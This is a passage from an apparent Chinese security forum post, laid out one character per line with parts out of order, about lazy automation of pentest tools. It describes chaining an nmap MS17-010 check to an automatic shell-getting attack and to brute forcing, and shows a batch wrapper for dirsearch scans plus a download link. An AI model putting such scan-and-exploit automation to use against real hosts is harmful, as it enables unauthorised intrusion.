i
t
}
利
用
n
m
a
p
-
s
c
r
i
p
t
=
s
m
b
-
v
u
l
n
-
m
s
1
7
-
0
1
0
,
扫
描
到
目
标
主
机
存
在
M
S
1
7
-
0
1
0
漏
洞
后
,
自
动
执
行
攻
击
命
令
,
获
取
s
h
e
l
l
权
限
。
假
设
目
标
主
机
没
有
开
启
4
4
5
端
口
,
或
者
有
防
火
墙
,
则
提
示
失
败
。
暴
力
破
解
也
是
如
此
。
利
用
n
m
a
p
扫
描
服
务
信
息
,
判
断
开
放
的
服
务
,
根
据
服
务
信
息
,
自
动
调
用
要
破
解
的
模
块
,
实
现
自
动
识
别
,
自
动
破
解
,
输
出
结
果
的
过
程
,
其
实
就
是
个
调
用
,
调
用
,
再
调
用
,
没
什
么
技
术
性
,
关
键
是
在
于
一
个
字
!
懒
!
有
学
生
之
前
问
过
,
w
i
n
d
o
w
s
上
好
些
工
具
,
都
需
要
进
命
令
行
里
去
执
行
,
好
麻
烦
,
每
次
都
记
不
住
,
还
得
打
开
t
x
t
复
制
命
令
去
用
,
好
烦
啊
~
当
然
了
,
L
i
n
u
x
上
懒
也
就
罢
了
,
w
i
n
d
o
w
s
上
也
可
以
稍
微
懒
一
懒
。
例
如
:
w
i
n
d
o
w
s
上
可
以
通
过
批
处
理
的
方
式
,
来
写
个
懒
人
批
处
理
原
理
,
依
然
是
获
取
于
用
户
输
入
,
然
后
将
输
入
内
容
带
进
变
量
里
去
执
行
,
简
单
的
不
要
不
要
的
~
@
s
e
t
/
p
y
m
=
"
输
入
要
扫
描
的
域
名
地
址
:
"
@
s
e
t
/
p
j
b
=
"
输
入
要
扫
描
的
脚
本
类
型
:
"
最
终
实
现
效
果
如
下
:
当
你
学
会
这
些
偷
懒
技
巧
以
后
,
整
个
人
都
废
了
呢
~
其
实
整
体
没
啥
东
西
,
希
望
我
的
懒
,
能
给
跟
我
同
样
懒
得
小
伙
伴
们
带
来
帮
助
~
完
整
脚
本
:
链
接
:
h
t
t
p
s
:
/
/
p
a
n
.
b
a
i
d
u
.
c
o
m
/
s
/
1
r
5
v
1
U
6
B
A
d
k
p
D
9
5
W
7
-
T
j
N
Q
g
提
取
码
:
2
z
l
s
精
彩
推
荐
精
彩
推
荐
@
r
e
m
等
待
用
户
输
入
@
s
e
t
/
p
g
n
=
"
请
选
择
要
使
用
的
功
能
:
"
:
@
r
e
m
选
择
环
境
编
码
1
@
i
f
%
g
n
%
=
=
1
(
@
e
c
h
o
普
通
扫
描
!
C
:
P
y
t
h
o
n
3
6
-
3
2
p
y
t
h
o
n
.
e
x
e
C
:
P
y
t
h
o
n
3
6
-
3
2
d
i
r
s
e
a
r
c
h
d
i
r
s
e
a
r
c
h
.
p
y
-
u
%
y
m
%
/
-
e
%
j
b
%
-
x
4
0
3
,
4
0
4
,
4
0
0
,
4
0
1
)
e
l
s
e
(
@
i
f
%
g
n
%
=
=
2
(
@
e
c
h
o
递
归
扫
描
!
C
:
P
y
t
h
o
n
3
6
-
3
2
p
y
t
h
o
n
.
e
x
e
C
:
P
y
t
h
o
n
3
6
-
3
2
d
i
r
s
e
a
r
c
h
d
i
r
s
e
a
r
c
h
.
p
y
-
u
%
y
m
%
/
-
e
%
j
b
%
-
f
-
F
-
r
-
e
%
j
b
%
-
x
4
0
3
,
4
0
4
,
4
0
0
,
4
0
1
-
R
5
-
-
t
i
m
e
o
u
t
=
2
0
-
-
m
a
x
-
r
e
t
r
i
e
s
=
5
p
a
u
s
e
)
阅
读
原
文
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页